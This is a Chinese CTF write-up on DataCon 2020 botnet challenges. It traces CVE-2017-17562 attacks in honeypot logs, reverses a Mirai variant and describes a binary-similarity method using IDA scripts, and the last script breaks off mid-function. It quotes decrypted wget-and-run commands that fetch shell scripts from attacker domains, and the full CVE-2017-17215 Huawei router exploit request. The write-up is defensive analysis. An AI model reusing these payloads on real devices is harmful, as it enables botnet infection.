DATACON 2020 BOTNET WRITEUP

Author: ☯
单位：上海交通大学

【僵尸网络分析】/Botnet 追踪—追到我就让你嘿嘿嘿

1. 信息收集

搜索 GoAhead webserver，发现：
官网：https://www.embedthis.com/goahead/
最新版 github：https://github.com/embedthis/goahead-gpl
旧版本的 goahead 仓库已经被删除/隐藏，但在 gitee 上发现其镜像仓库：
https://gitee.com/mirrors/GoAhead

下载最新版 goahead 源码，与题目给的源码进行 diff：
diff -urN origin/goahead-4.1.3/src xgoahead/src > ./origin/diff.diff
diff 发现给的源码与开源代码做了部分修改，增加/修改了部分代码，估计引入了洞

2. 源码 diff 分析

主要修改部分为增加了一个 xcgi.c 和 xcgi.h
xcgi.c 是在 cgi.c 的基础上编写的，其中修改了部分代码，如字符串\x00 截断，LD_PRELOAD 检查等。后来发现引入了一个漏洞 CVE-2017-17562

3. 漏洞分析

阅读网上关于 CVE-2017-17562 漏洞分析的文章。
“漏洞存在于函数 cgiHandler 之中，当应用程序给新进程的 envp 参数分配数组指针时将需要调用该函数，并使用 HTTP 请求参数中的键值对数据来对函数进行初始化。最后，需要调用或执行 CGI 脚本的程序将会调用 launchCgi 函数。
除了被过滤掉的 REMOTE_HOST 和 HTTP_AUTHORIZATION 参数之外，所有其他的参数都会被当作是受信任的参数，并且会在没有进行数据过滤的情况下传递给目标函数。而这将允许攻击者控制新 CGI 进程的任意环境变量”
“launchCgi 方法会使用 dup2()来处理 stdin 文件描述符，而它指向的是一个包含了 POST 请求 body 内容的临时文件。这也就意味着，磁盘中有一个文件包含了用户提供的数据，而且我们可以使用类似 LD_PRELOAD=/tmp/cgi-XXXXXX 的方法来引用这部分数据”
“我们就可以通过发送包含了恶意共享对象的 POST 请求（包含了恶意 Payload 以及相关的构造器）来远程利用该漏洞了。在这个过程中，我们需要指定一个包含了?LD_PRELOAD=/proc/self/fd/0 的 HTTP 参数，而它将指向磁盘中包含了攻击 Payload 的临时文件。”
所以我们的关注点在于，发送了请求中包含 LD_PRELOAD、/proc/self/fd/0、ELF 的请求。

4. honeypot.json 分析

由于该漏洞利用需要 post body 中包含一个 ELF，因此我们直接在 post body 中搜索 ELF 的 magic，并将提取出来的所有 ELF 去重并 dump 出来。
发送过 elf 的 src_ip 有 67 个
{'8d43fb4eb211a82d70903334f9e05668', '8fd5c895c1bc0ea512a6e1bd77adaec9',
'222619b05794b5df5df4e6e8358b2f9f', 'b04153e89b537e9fb4a8f59899bb083f',
'aef595f9c7348598e872ad68c35a5b7b', '0101879cc3cb0183271a753fbc2bdf79',
'e046c824a70593164578ce3ba9bbd57d', '47d60bce13cd08b57d3ff33faf05be4a',
'3885ead838029ee3a1b3b1dff8881803', 'a412bca29976542dddd6a0f25eb7bc9e',
'bdfa7e76807231972289841484309bcf', 'e7d47d53478884352e706515104eab58',
'16201496adf42e685f751c0f8d037609', '0e5c4fd98a41866df2125598c829a5c8',
'f228b75da69e6ee1dbe3b6c9a48f953d', 'b7496ec75748059f6bf741cbfd865902',
'34ec95bedf7f33b3cb0087cdd6a76034', '3e99a8b9cdbe45ee2316af2354fc9a27',
'34240c68b5e35261a309208f53bb2ac9', 'de3f855f83af94c5630e975aa7be599b',
'c448b2ce63749129655f8840aa63594e', '9cb85509739b7aae55ac98aae77126d5',
'101efa048ee5f8efded31f85c254a574', 'e918f00f2a73118aa77e167d84de87df',
'448d1aa7aada57bfa6d0ef933f037f6f', 'c22a7d40d95e76ee5a5f4ddf357dc975',
'e83de95c90ef4bf6b937d734c5dffb38', '18a505823cd575497f1aa4b23c1248df',
'cd1f6c3b6f589648a1b1533761e6e21f', 'f9a9732e9f8bd5e4623b9628b3690e04',
'5bfc75ca6894c98b0bfab83eceb68755', '11cb3b7108a3b013acb2e0a70128e87f',
'cc8805e0f83ad355983e1cefe4b863e6', '2baf00ecb16b6690343cf538de7cbf80',
'6eba46642fbbf5beef41d7813b285af5', 'bb0ca30861af6b4e28b243a375c8e4ca',
'8127fa1c9201ad27e7b0b8ca635a4b15', 'bd5aa9c9f168ef17e052b6e4d273cb95',
'fef1b4dabf8ef4fb544caefe7b518144', 'f37e3c5b64dcc18fee95c6b0cb6ce828',
'38c25386dfcea9bd6f25d24f333de22e', 'af679eeda0f339ab30a45de6c733f813',
'f83331b2220a89404fc07aecf0e1eb28', '03cc8dff7796793bb573594072f50119',
'4f6f994e442651a0210159c11860e503', 'e22ffc5850c1b19fbe560ac88d19e505',
'5a916ed343de5c1048abf62109f82cbe', '21f8a660ffc7ff9219d45f809d332ce4',
'c01709808a6e4ea4858bc5ea6ea5a67b', '852783194c47b5bfb68e627bde72da40',
'592c3745f48ef1e7859cb517aacb3bdc', '6f8ef12946010c0e0872e7cdb4b8b330',
'659a4315840561c1bcad2d3759478b81', 'f382a5dda55aff57fac314895b9dfede',
'de24bcf511bb42b65358baf49da2bd10', 'bfe31e380fb403c2a26788dc3032b1bd',
'361431f844df4abf16d304b0945eccfe', 'a305d2fd6344b3f74e37c1e737517a91',
'34805cdc45accc1e2c9f93ff6e117c0b', '45987c20e67ed3cfb650bb5aad836393',
'1058d8e4fa1cb8bb97987fbb18abc50a', '74b70ae0a3d818e1d883cec7f09dbcae',
'9fb715c92f5ce5578707c277b49364bb', '89c675749f59213ba6264b8bd81bed0b',
'31d24fe5f2f25911c7a99926935f862c', '52384626c64618d49d7cf14e71e8adf5',
'af2fb3639eb1be84e77ca4e29043e593'}

但其中有大量发送的是 x86_64 的’Hello World’，结合题目描述中的“IOT 设备”可知，这些 x86 binary 并不是我们的目标。除此之外，还有四个 src_ip 发送了四个 arm 架构的 bianry，src_ip 分别为：
{'fef1b4dabf8ef4fb544caefe7b518144', '74b70ae0a3d818e1d883cec7f09dbcae',
'a412bca29976542dddd6a0f25eb7bc9e', 'f37e3c5b64dcc18fee95c6b0cb6ce828'}
提取后发现其解密了字符串并调用了 system 函数进行执行，解密出四个字符串分别为：
“cd /tmp;wget http://exec.kfckiller.cc/d.sh;chmod 777 d.sh;./d.sh”
“cd /tmp;wget http://exec.dtdtdt.info/d.sh;chmod 777 d.sh;./d.sh”
“cd /tmp;wget http://100.91.5.99/d.sh;chmod 777 d.sh;./d.sh”
“cd /tmp;wget http://100.91.5.98/d.sh;chmod 777 d.sh;./d.sh”

因此，被感染的主机会访问上述两个域名及 ip 地址下载 shell 脚本并执行，域名解析需要发送 DNS 请求。因此我们只需要检查 Passive DNS 即可以找出这段时间内被感染的主机。

4. Passive DNS 分析

使用 exec.kfckiller.cc 和 exec.dtdtdt.info 分别能找到 2, 8 个 ip 地址。
观察这两个域名发现，其子域名为 exec，因此我们可以确定 kfckiller.cc 和 dtdtdt.info 已经被攻击者控制，因此我们将搜索范围扩大至 kfckiller.cc 和 dtdtdt.info，发现了 C&C 域名 control.dtdtdt.info，并发现了三个 ip 请求

6. 僵尸网络的感染 IP 汇总

	数量	ip
exec.kfckiller.cc	2	fe2b21a73aaa081cc58e182ad2cd9836 af19403bf87f3f8cb9d4eb05eff916fc
exec.dtdtdt.info	8	9fc9e4077fde254f56307ebd5e55526b 1a7e687bc862930a5562d7789f8640b7 32315a46ff0016d8e6f6fdab41b45115 6666795d02da2f5c64ffb1c44fd7a183 747a01da0625fb15d6585644a94f610d 4f42763d40bb0b2e5b1f231852cb0457 332dfa05e9301d3cd5dead9fb0395354 ce2dd631bcd6e6c10693461e9babcb5f
control.dtdtdt.info	3	cbd4242cf30843e816ef1590ebaff64a fe2b21a73aaa081cc58e182ad2cd9836 2efdb1bbe8ea1533afdab14e46cdd7b7
发送有效 payload 的主机	4	'fef1b4dabf8ef4fb544caefe7b518144', '74b70ae0a3d818e1d883cec7f09dbcae', 'a412bca29976542dddd6a0f25eb7bc9e', 'f37e3c5b64dcc18fee95c6b0cb6ce828'

共有 16 个 ip

【僵尸网络分析】/Botnet 分析—安娜前辈给后浪的礼物

1. binary 分析

通过 IDA 函数签名识别出部分 libc 函数，根据特征字符串发现气味 MIRAI 变种，发现源码 https://github.com/jgamblin/Mirai-Source-Code
阅读源码发现，其中有部分字符串被混淆，使用 idapython 恢复 init table 中的字符串

```
from idaapi import *
begin_addr = 0x08054185
end_addr = 0x08054694
```

```
while begin_addr < end_addr:
    b = get_bytes(begin_addr, 1)
    patch_byte(begin_addr, ord(b)^34)
    begin_addr += 1
```

发现域名 flydog.com

2. scanner 模块逆向

阅读源码发现 MIRAI 在其 scanner 模块中扫描有漏洞的主机并进行利用，因此我们重点关注 scanner 模块。
对着源码标函数...
发现其使用 raw socket 发送 payload 之前会进行解密，分析解密算法发现其为流密码，因此我们将 IDA 的反编译结果复制出来，修改一下，即可解密密文。
解密脚本如下：

```
//
// Created by G6 on 2020-08-04.
//

#include <cstdio>
#include "defs.h"

unsigned __int8 byte_8055120[512];
unsigned __int8 byte_8053DF0[5] = {0x65, 0x72, 0x72, 0x6F, 0x72};


int __cdecl enc_string(unsigned char *a1, unsigned int len)
{
    unsigned    i; // eax
    int v2; // esi
    unsigned int j; // ebx
    unsigned char    v4; // ecx
    int v5; // edi
    int v6; // esi
    unsigned int k; // ebp
    unsigned char *v8; // ecx
    unsigned __int8 v9; // dl
    int result; // eax
    unsigned char * v11; // [esp+Ch] [ebp-20h]
    int v12; // [esp+10h] [ebp-1Ch]
    unsigned int v13; // [esp+14h] [ebp-18h]

    v11 = a1;
//      v13 = a1[1];
    v13 = len;
    for ( i = 0; i != 512; ++i )
        byte_8055120[i] = (unsigned char)i;
    v2 = 0;
    for ( j = 0; j != 512; ++j )
```

```
    {
        v4 = byte_8055120[j];
        v2 = (v4 + v2 + 3 + byte_8053DF0[j % 5]) % 512;
        byte_8055120[j] = byte_8055120[v2];
        byte_8055120[v2] = v4;
    }
    v5 = 0;
    v6 = 0;
    for ( k = 0; ; *(k + v11 - 1) ^= byte_8055120[*v8 + v9] )
    {
        if ( v13 <= k )
        {
            v8 = &byte_8055120[v5];
            v12 = 1;
        }
        else
        {
            v12 = 0;
            v5 = (v5 + 5) % 512;
            v8 = &byte_8055120[v5];
            v6 = (v6 + byte_8055120[v5] + 7) % 512;
        }
        v9 = *v8;
        *v8 = byte_8055120[v6];
        result = v12;
        ++k;
        byte_8055120[v6] = v9;
        if ( v12 )
            break;
    }
    return result;
}


unsigned char aaa[] = {
        0xED, 0x2E, 0x64, 0x07, 0x55, 0x03, 0xBB, 0x6A, 0x70, 0x9F,
        0xCA, 0x9C, 0x24, 0xE6, 0xC1, 0x10, 0x90, 0x26, 0x32, 0x6C,
        0xD3, 0x05, 0x44, 0x75, 0x20, 0x90, 0x13, 0x2E, 0xC9, 0x9E,
        0xDB, 0x6A, 0x1A, 0x85, 0xEF, 0x6D
};
// GET / HTTP/1.1
// Content-Length: 0

unsigned char a2[] = {
        0x96, 0x1F, 0x59, 0x53, 0x16, 0x46, 0xCD, 0x76, 0x63, 0xFA,
        0xD6, 0x9F, 0x6F, 0xEB, 0xE3, 0x6E, 0xBA, 0x3D, 0x30, 0x7D
};
// <title>HG532e</title

unsigned char a3[] = {
        0xFA, 0x24, 0x63, 0x73, 0x5A, 0x0C, 0x90, 0x4A, 0x56, 0xA3,
```

```
        0x91, 0x82, 0x4E, 0xB2, 0xBA, 0x73, 0xB0, 0x2C, 0x09, 0x68,
        0xD1, 0x19, 0x51, 0x3C, 0x09, 0xAA, 0x4C, 0x69, 0xF5, 0xA2,
        0xB5, 0x1A, 0x05, 0xB9, 0xCB, 0x51

};
// POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

unsigned char a4[] = {
        0xE2, 0x04, 0x43, 0x53, 0x40, 0x03, 0xC2, 0x0C, 0x13, 0xE1,
        0xD5, 0x83, 0x3A, 0xF9, 0xFD, 0x20, 0xE0, 0x7E, 0x6E, 0x29,
        0x83, 0x66, 0x3A, 0x19, 0x19, 0x81, 0x15, 0x26, 0xCF, 0x9F,
        0x9B, 0x2B, 0x5E, 0xE1, 0x8A, 0x0E, 0x7E, 0x5D, 0xC8, 0x02,
        0x82, 0xDE, 0x3E, 0x46, 0x21, 0xE7, 0x29, 0x54, 0x14, 0x7C,
        0xB1, 0xC8, 0x6C, 0xD8, 0xBD, 0x49, 0x4E, 0x32, 0xCD, 0x8F,
        0xBA, 0x01, 0x8A, 0x6F, 0x7C, 0x76, 0xE2, 0x33, 0x57, 0x85,
        0x50, 0x39, 0x1F, 0x15, 0xCB, 0xD3, 0xB3, 0x09, 0xA8, 0xDE,
        0xBB, 0x0C, 0x04, 0x35, 0x6D, 0x23, 0x75, 0x49, 0xF8, 0x9E,
        0x0A, 0xC4, 0x73, 0x03, 0x23, 0x63, 0x49, 0xD3, 0x7F, 0xB2,
        0x37, 0xE6, 0xAB, 0x6D, 0xD8, 0xA9, 0x72, 0x9A, 0xC6, 0x05,
        0xCB, 0xEF, 0x8D, 0xD1, 0xE3, 0x4C, 0x42, 0x0A, 0xBA, 0x63,
        0x54, 0x42, 0x00, 0x13, 0x56, 0xFF, 0x19, 0xFD, 0xEB, 0x3F,
        0xB1, 0x71, 0x76, 0x38, 0x79, 0x18, 0xC9, 0xCF, 0xB1, 0x1A,
        0xA5, 0xBD, 0xC3, 0x13, 0x26, 0x04, 0x04, 0x3E, 0x32, 0xBD,
        0xAC, 0xF3, 0xE2, 0x2E, 0x80, 0xA7, 0x7A, 0x0D, 0x50, 0xFA,
        0x77, 0xD5, 0xBC, 0xC4, 0xE4, 0x9E, 0x1F, 0x10, 0x10, 0x53,
        0x70, 0x17, 0xCB, 0x1C, 0x35, 0x77, 0xBF, 0xA9, 0x5A, 0x02,
        0xB4, 0xB2, 0x85, 0x38, 0x13, 0x4D, 0x6C, 0xDF, 0x1E, 0x9E,
        0x34, 0x83, 0xDD, 0x46, 0xD6, 0x28, 0xA3, 0x98, 0xE4, 0xA2,
        0xA9, 0xE6, 0x1D, 0xA1, 0x87, 0x3D, 0x3F, 0xB1, 0x5B, 0xA2,
        0x94, 0xBF, 0xA0, 0xB2, 0x29, 0xCD, 0xBC, 0x77, 0xCE, 0xC3,
        0x8D, 0xCE, 0x12, 0x84, 0x2E, 0xB2, 0xB4, 0x43, 0xDF, 0x5B,
        0x9F, 0xF7, 0xF9, 0xE3, 0xB4, 0xF6, 0xB0, 0xC4, 0x59, 0xE5,
        0xA9, 0xD1, 0xB9, 0x9C, 0x40, 0x01, 0xD5, 0x4A, 0xE4, 0x4F,
        0xDD, 0xA7, 0x4E, 0x4E, 0x2D, 0x91, 0x7E, 0xA6, 0xB4, 0x78,
        0xE2, 0x66, 0x3F, 0xC9, 0x9C, 0xBF, 0xB4, 0x5D, 0x5E, 0xC2,
        0x06, 0xE3, 0x34, 0x9B, 0xD4, 0x78, 0x41, 0x54, 0x1C, 0x87,
        0xD0, 0xFA, 0x49, 0x30, 0x7E, 0xA5, 0x75, 0x0F, 0x8C, 0x00,
        0x00, 0x00
};
//Host: 127.0.0.1:37215
//Authorization: Digest username=dslf-config, realm=HuaweiHomeGateway,
nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1,
response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001,
cnonce=248d1a2560100669
//Content-Length: 382
//
//
```

```
unsigned char a5[] = {
        0x96, 0x54, 0x48, 0x4A, 0x16, 0x03, 0x85, 0x5B, 0x56, 0xBC,
```

```
        0x8C, 0xC2, 0x64, 0xEA, 0xEE, 0x2B, 0xFD, 0x79, 0x7E, 0x38,
        0x89, 0x55, 0x0C, 0x2B, 0x56, 0xB0, 0x13, 0x3F, 0xD8, 0x9A,
        0x8E, 0x3A, 0x4F, 0xA8, 0x9D, 0x0D, 0x28, 0x13, 0xFF, 0x51,
        0x96, 0x86, 0x6F, 0x5A, 0x75, 0xE6, 0x2A, 0x0B, 0x49, 0x3D,
        0xA3, 0xC6, 0x61, 0x80, 0xB4, 0x5B, 0x51, 0x7A, 0x98, 0x81,
        0xB9, 0x1C, 0x83, 0x67, 0x6B, 0x74, 0xAD, 0x33, 0x55, 0xCB,
        0x4F, 0x3B, 0x43, 0x2D, 0x91, 0xD7, 0xAA, 0x1A, 0xA4, 0xFA,
        0xBB, 0x11, 0x04, 0x5D, 0x2E, 0x77, 0x63, 0x04, 0xFC, 0x89,
        0x45, 0x8B, 0x79, 0x05, 0x23, 0x67, 0x7F, 0x9A, 0x3E, 0xE6,
        0x64, 0xEF, 0xBC, 0x66, 0xC9, 0xBB, 0x60, 0x91, 0x8F, 0x13,
        0xDD, 0xE8, 0x80, 0x84, 0xEB, 0x1E, 0x02, 0x12, 0xA7, 0x3D,
        0x0D, 0x07, 0x56, 0x16, 0x11, 0xE4, 0x13, 0xEA, 0xBF, 0x20,
        0xEE, 0x3E, 0x62, 0x3A, 0x3F, 0x40, 0x88, 0xCF, 0xAA, 0x0C,
        0xA0, 0xA7, 0x8B, 0x78, 0x61, 0x4C, 0x51, 0x2E, 0x6D, 0xAA,
        0xB3, 0xF0, 0xE9, 0x71, 0xD8, 0xB7, 0x1F, 0x69, 0x0C, 0xBD,
        0x77, 0xD1, 0xAB, 0xD1, 0xAB, 0x88, 0x01, 0x19, 0x43, 0x13,
        0x7C, 0x53, 0xC4, 0x58, 0x78, 0x31, 0xE2, 0xF2, 0x1D, 0x53,
        0xB8, 0xB5, 0xDB, 0x61, 0x06, 0x54, 0x21, 0xC9, 0x45, 0xD7,
        0x7D, 0xDE, 0xCE, 0x12, 0xD9, 0x62, 0xF1, 0x8F, 0xA3, 0xF2,
        0xA9, 0xAF, 0x07, 0x97, 0xAA, 0x14, 0x00, 0x93, 0x62, 0x95,
        0x93, 0xBC, 0xF3, 0x9A, 0x0E, 0x8C, 0xF9, 0x38, 0xD1, 0x96,
        0xCC, 0xD1, 0x4D, 0xCD, 0x14, 0xBF, 0xEF, 0x30, 0xC5, 0x59,
        0xD6, 0xB2, 0xBA, 0x86, 0xD6, 0x8A, 0xBE, 0xCF, 0x47, 0xAB,
        0xE0, 0xDC, 0xF8, 0x91, 0x5B, 0x11, 0xC9, 0x15, 0xB9, 0x03,
        0xC5, 0xB4, 0x18, 0x4A, 0x6B, 0x84, 0x65, 0xF1, 0xA5, 0x2B,
        0xBE, 0x3F, 0x7C, 0x94, 0xE2, 0xC1, 0x85, 0x5B, 0x5B, 0xD3,
        0x4D, 0xEE, 0x26, 0x96, 0xB5, 0x71, 0x0F, 0x1C, 0x1C, 0x82,
        0x9A, 0xF5, 0x4B, 0x28, 0x61, 0xDA, 0x5F, 0x2D, 0xB7, 0x81,
        0x16, 0xF7, 0x88, 0x28, 0x50, 0x80, 0xEA, 0x16, 0xB6, 0x13,
        0xDA, 0x39, 0x46, 0xAE, 0x45, 0x76, 0xD4, 0x69, 0xF5, 0xA2,
        0x5F, 0xDB, 0xEA, 0xFA, 0x26, 0x0E, 0x60, 0xB7, 0x8B, 0x9D,
        0xD0, 0xB4, 0x42, 0x64, 0x9E, 0xC4, 0xA0, 0xF1, 0x91, 0xC5,
        0xB6, 0x43, 0x83, 0x93, 0x6C, 0x3F, 0x69, 0x74, 0xBC, 0xBF,
        0xC7, 0x71, 0x1E, 0x97, 0xE5, 0xF2, 0xA5, 0xC3, 0xB2, 0x0B,
        0xE8, 0x41, 0x32, 0xC0, 0x7B, 0x09, 0xE6, 0x76, 0x15, 0x84,
        0x13, 0x40, 0x9A, 0x01, 0x8A, 0x6C, 0xAE, 0xD7, 0x8A, 0xD5,
        0xC3, 0xE2, 0xF4, 0xFB, 0x00, 0x84, 0x6B, 0x99, 0x25, 0x18,
        0xFD, 0xAF, 0x00
};

// <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade
xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>;/bin/busybox
wget -g cloudstrike.cf -l /tmp/1 -r
/1;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:
Body></s:Envelope>a

int main() {
        enc_string(aaa, sizeof(aaa));
        for (int i = 0; i < sizeof(aaa); i ++) {
                printf("%c", aaa[i]);
```

```
        }
}
```

发现这个变种 MIRAI 使用了 CVE-2017-17215，Huawei HG532 系列路由器远程命令执行漏洞分析，如果能够利用成功，则会访问 cloudstrike.cf。

3. Summary

静态分析中解密字符串 flydog.com 和 payload 及其中包含的域名 cloudstrike.cf，取并即可

```
import csv
f = open("./access.csv", "r")
fcsv = csv.reader(f)

ccc = []

for i in fcsv:
    ccc.append(i)

cloudstrike_ip = set()
for c in ccc:
    if c[0] == "cloudstrike.cf":
        cloudstrike_ip.add(c[1])

flydog_ip = set()
for c in ccc:
    if c[0] == "flydog.com":
        flydog_ip.add(c[1])

final_ip = flydog_ip | cloudstrike_ip

f3 = open("final.txt", "w")
for ip in final_ip:
    f3.write(ip+"\n")
f3.close()
```

通过这两题对“DNS 行为是恶意软件的本质特征”这一句话有了更深的理解...

【僵尸网络分析】/Botnet 相似性检测—难道是失散多年的兄弟

1. Challenge

1. 现有工作：传统方法对于同源跨架构二进制代码分析精度低：
   a. 单独使用 ACFG（attributed control flow graph）无法实现有效的区别
   b. 依赖深度网络的方法对样本要求高，需要大量有标签的样本进行学习才能取得满意的结果。
2. 数据集的特征：
   a. binary 被抹去来 rodata 段并 strip，无法使用特征字符串和符号信息进行直接特征匹配
   b. 编译器之间的差异，导致同一份源码变异而来的 binary 中 function prologue 和 function epilogue 存在差异，且不同编译器对内联函数的处理导致跨架构差异性大
   c. 一些源码之间仅存在字符串长度的差异，导致变异得到的 binary 在 call graph 和 cfg 等方面相似度极高
3. mips 架构

- 大小端序

2. 关键技术

1. 用户定义函数的识别

目的：由于 binary 是静态链接的，其中包含大量的 libc 函数，而我们的目标是 user define 的那部分函数，因此我们需要过滤掉 libc 函数、筛选出 user define functions，重点对这些函数进行特征提取

方法：

1. 借助编译后用户定义函数的连续性：正常编译器将源码编译成 binary 后，其中的函数顺序是相同的，因此 user define functions 在 binary 中是连续的。通过观察发现，user define functions 的范围在 start 函数后、fcntl 函数之前，以此来作初步筛选。
2. 借助函数签名进行 libc 函数识别：我们通过函数签名的方式，恢复出部分 libc 函数，并通过 fcntl 函数中的特征指令（x86 中的"mov eax, 37h", "int 80h"，mips 中的"li $v0, 0x107C", "syscall"）来识别出 fcntl 函数。

【代码见附录.1】

2. rodata 段的恢复

目的：rodata 段中存有字符串和常量等信息，且部分 binray 之间的区别仅存在于 rodata 段字符串长度的差异，因此需要恢复 rodata 段，我们才能够分析其中的常量位置、大小、访问次数

方法：rodata 段常位于.eh_frame 段之后、.data 段之前，因此我们采用遍历 sections，发现其中空缺的一段内存，即为 rodata 段

【代码见附录.2】

3. user define functions call graph 的建立

目的：为了提取 binary 中对 rodata 的访问，我们需要排除内联函数和 libc 函数的干扰，因此我们建立仅由用户定义函数组成的 call graph

方法：针对 x86 和 mips 架构，分别实现递归式的函数调用关系发现

4. binary 跨架构特征构建

目的：由于基于 CFG 等流程特性等特征（如 ACFG）存在精度低等问题，我们需要找到跨架构编译下更能反映源代码特性的特征，于是我们选取全局变量访问次数作为核心特征。

方法：基于上述三种技术，组合而成

3. System overview

1. 预处理：通过用户函数地址连续性的特征，初步筛选出用户函数，然后通过函数签名匹配的方式，更进一步地去除 libc 函数。
2. 恢复 rodata 段：通过遍历各个段，识别其中空缺的内存段，来重建 rodata 段，并识别 rodata 中的常量。
3. 建立用户定义函数的 call graph：针对两种架构的指令特征，分别对其中对函数进行递归式的调用关系发现，构建 call graph。
4. 遍历 binary 的 call graph，统计全局变量访问次数，作为 binary 的特征，以此进行比对。

4. Implementation

我们的程序分析基于 IDA，我们使用多进程提高分析速度。【代码见附录.3】
程序分析脚本。【代码见附录.4】

5. 对于普遍样本的思考

本题中的样本仅为僵尸网络样本，架构也只限于 x86 和 mips。而跨架构二进制代码比对远远不止于此，因此我们希望我们的程序分析方法能够适用于更广阔的样本。在本题的研究与实践过程中，我们想到了许多不完整的想法，受限于时间及样本集没有能够予以实现，记录于此，希望能够与大家讨论。

- 将不同架构的 binary 提升到 IR，再在 IR 上进行程序分析，以提高对多架构 binary 的适应性
- 比较上下文树/函数调用图的相似性
- 对单一函数进行动态检查（黑盒），如果能保证该函数及其子调用不会有外部输入（全局变量、input、syscall ？），那么它的运行结果应该由其输入参数决定，我们可以写一个 wrapper，构造好传入参数，以不同的输入多次调用该函数，使该函数成功执行，若两个 binary 中的该函数返回值相同，则可以认为这两个函数相同
- 同架构下两个 bianry 相似性聚类的简单方法：在 fileA 中多次选取数条地址无关指令，在 fileB 中寻找是否出现过该地址无关指令，以此计算两个 binary 的代码相似度。

附录

1. libc 函数的识别脚本

```
MIPS_CHECK_INST = ["li          $v0, 0x107C", "syscall"]
IA32_CHECK_INST = ["mov         eax, 37h", "int         80h"]

def get_up_bound():
return ida_ida.inf_get_start_ea()

def get_down_bound(arch):
func_addr = None
if arch == "ia32":
func_addr = idc.get_name_ea_simple("fcntl")
if func_addr == ida_idaapi.BADADDR:
return None
else:
for func_addr in idautils.Functions():
function = ida_funcs.get_func(func_addr)
start_ea, end_ea = function.start_ea, function.end_ea

for addr in idautils.Heads(start_ea, end_ea):
inst = idc.generate_disasm_line(addr, 0)
if MIPS_CHECK_INST[0] not in inst: continue

addrr = idc.next_head(addr)
instt = idc.generate_disasm_line(addrr, 1)
if MIPS_CHECK_INST[1] not in instt: continue

return func_addr

UP_BOUND = get_up_bound()
DOWN_BOUND = get_down_bound(ARCH)

if DOWN_BOUND == None:
idc.qexit(-1)

def isLibcFunc(func_addr):
return (func_addr <= UP_BOUND) or (func_addr >= DOWN_BOUND)
```

2. 恢复 rodata 段脚本

```
last_seg_end = get_first_seg()
print(hex(last_seg_end))
for s in Segments():
start = get_segm_start(s)
end = get_segm_end(s)
if int(start) != int(last_seg_end):
# found
idaapi.add_segm(0, last_seg_end, start, "roooodata", "CONST")
print("Adding segment from 0x%x to 0x%x" % (last_seg_end, start))
print("OK")
break
else:
last_seg_end = end
idc.plan_and_wait(ida_ida.inf_get_min_ea(), ida_ida.inf_get_max_ea())
```

3. IDA 多进程脚本

```
import subprocess
import os
import sys
import multiprocessing
import json

from pwn import info, debug, context, warn
context.log_level = "info"
#context.log_level = "debug"

IDA_PATH = "idat"
SCRIPT_BASE = "script/"

BOUND_CHECK = SCRIPT_BASE + "bound_check.py"
LUMINA_CHECK = SCRIPT_BASE + "lumina_check.py"

IDB_BASE = "idb/"
LOG_PATH = "log/"
OUTPUT_PATH = "output/"

IA32_PATH = IDB_BASE + "ia32/"
MIPS_PATH = IDB_BASE + "mips/"
```

```
CPU_NUM = os.cpu_count()

def run_ida_script(bin_abs_path, script_path=None, args=None, handler=None):
output = None

basename = os.path.basename(bin_abs_path)
arch = bin_abs_path.split("/")[-2]
output_path = os.path.join(OUTPUT_PATH, arch, basename+".result")
log_path = os.path.join(LOG_PATH, arch, basename+".log")
if os.path.exists(log_path):
os.remove(log_path)
if os.path.exists(output_path):
os.remove(output_path)

if script_path == None:
command = f"{IDA_PATH} -A -B {bin_abs_path}"
else:
if args != None:
args = " ".join(args)
else:
args = ""

command = f"{IDA_PATH} -A -S\"{script_path} {output_path} {arch} {args}\"
{bin_abs_path}"
command = f"IDALOG=\"{log_path}\" {command} "

try:
debug(F"Running script for {bin_abs_path}...")
debug(command)
subprocess.run(command, shell=True).check_returncode()
debug("Done")
except subprocess.CalledProcessError as e:
warn(f"error happened in {bin_abs_path}, {e}")
return None

if os.path.exists(output_path):
if handler!=None and script_path!=None :
output = handler(output_path)

return output


def worker(paths, script=None, args=None, handler=None):
```

```
result = {}

for path in paths:
tmp = run_ida_script(path, script, args, handler)
debug(path)
#info(path)
if tmp != None:
result[path] = tmp

return result

def bound_handler(output_path):
with open(output_path, "r") as output_file:
data = output_file.read()
info(data)
return data

def bound_handler_main(result):
final_result = 0
for item in result:
for _, r in item.items():
if r == "1":
final_result += 1
else:
print(_)
print(final_result)


def main():
count = 0
pool = multiprocessing.Pool(processes=CPU_NUM)
procs = []

worker_paths = []
for _ in range(CPU_NUM):
worker_paths.append(list())

#for dir_path in [IA32_PATH]:
#for dir_path in [MIPS_PATH]:
for dir_path in [IA32_PATH, MIPS_PATH]:
for bin_path in os.listdir(dir_path):

#if count >= 32: break
```

```
bin_abs_path = os.path.join(dir_path, bin_path)
assert os.path.exists(bin_abs_path)
worker_paths[count % CPU_NUM].append(bin_abs_path)
count += 1


for i in range(CPU_NUM):
# generate idb
#procs.append(pool.apply_async(worker, args=(worker_paths[i], )))

# other idapython scripts    (paths, script_path, args, handler)
procs.append(pool.apply_async(worker,  args=(worker_paths[i],  BOUND_CHECK,  None,
bound_handler, )))

pool.close()
pool.join()

result = []
for item in procs:
result.append(item.get())

#bound handler
bound_handler_main(result)

if __name__ == "__main__":
main()
```

4. 程序分析脚本

```
import ida_ida
import ida_auto
import ida_pro
import idaapi
import idautils
import idc
import ida_funcs
from collections import Counter
import re
import ida_idaapi

MIPS_CHECK_INST = ["li          $v0, 0x107C", "syscall"]
```

```
IA32_CHECK_INST = ["mov         eax, 37h", "int         80h"]

class Analyzer():
def __init__(self):
self.main = None
self.call_graph = {}
self.pl = None
self.UP_BOUND = None
self.DOWN_BOUND = None
self.size_of_all_const = None
self.label_with_size = {}
self.start, self.end = None, None
self.all_func_access_rodata = {}
self.all_func_access_rodata_counter = {}
self.global_seg_start = None

def set_platform(self,pl):
self.pl = pl
self.get_up_bound()
self.get_down_bound()

def find_main_x86(self):
start = ida_ida.inf_get_start_ea()
fn = idaapi.get_func(start)
f_start, f_end = fn.start_ea, fn.end_ea
eas = list(idautils.Heads(f_start, f_end))
mnem = idc.print_insn_mnem(eas[-1])
if mnem == 'jmp':
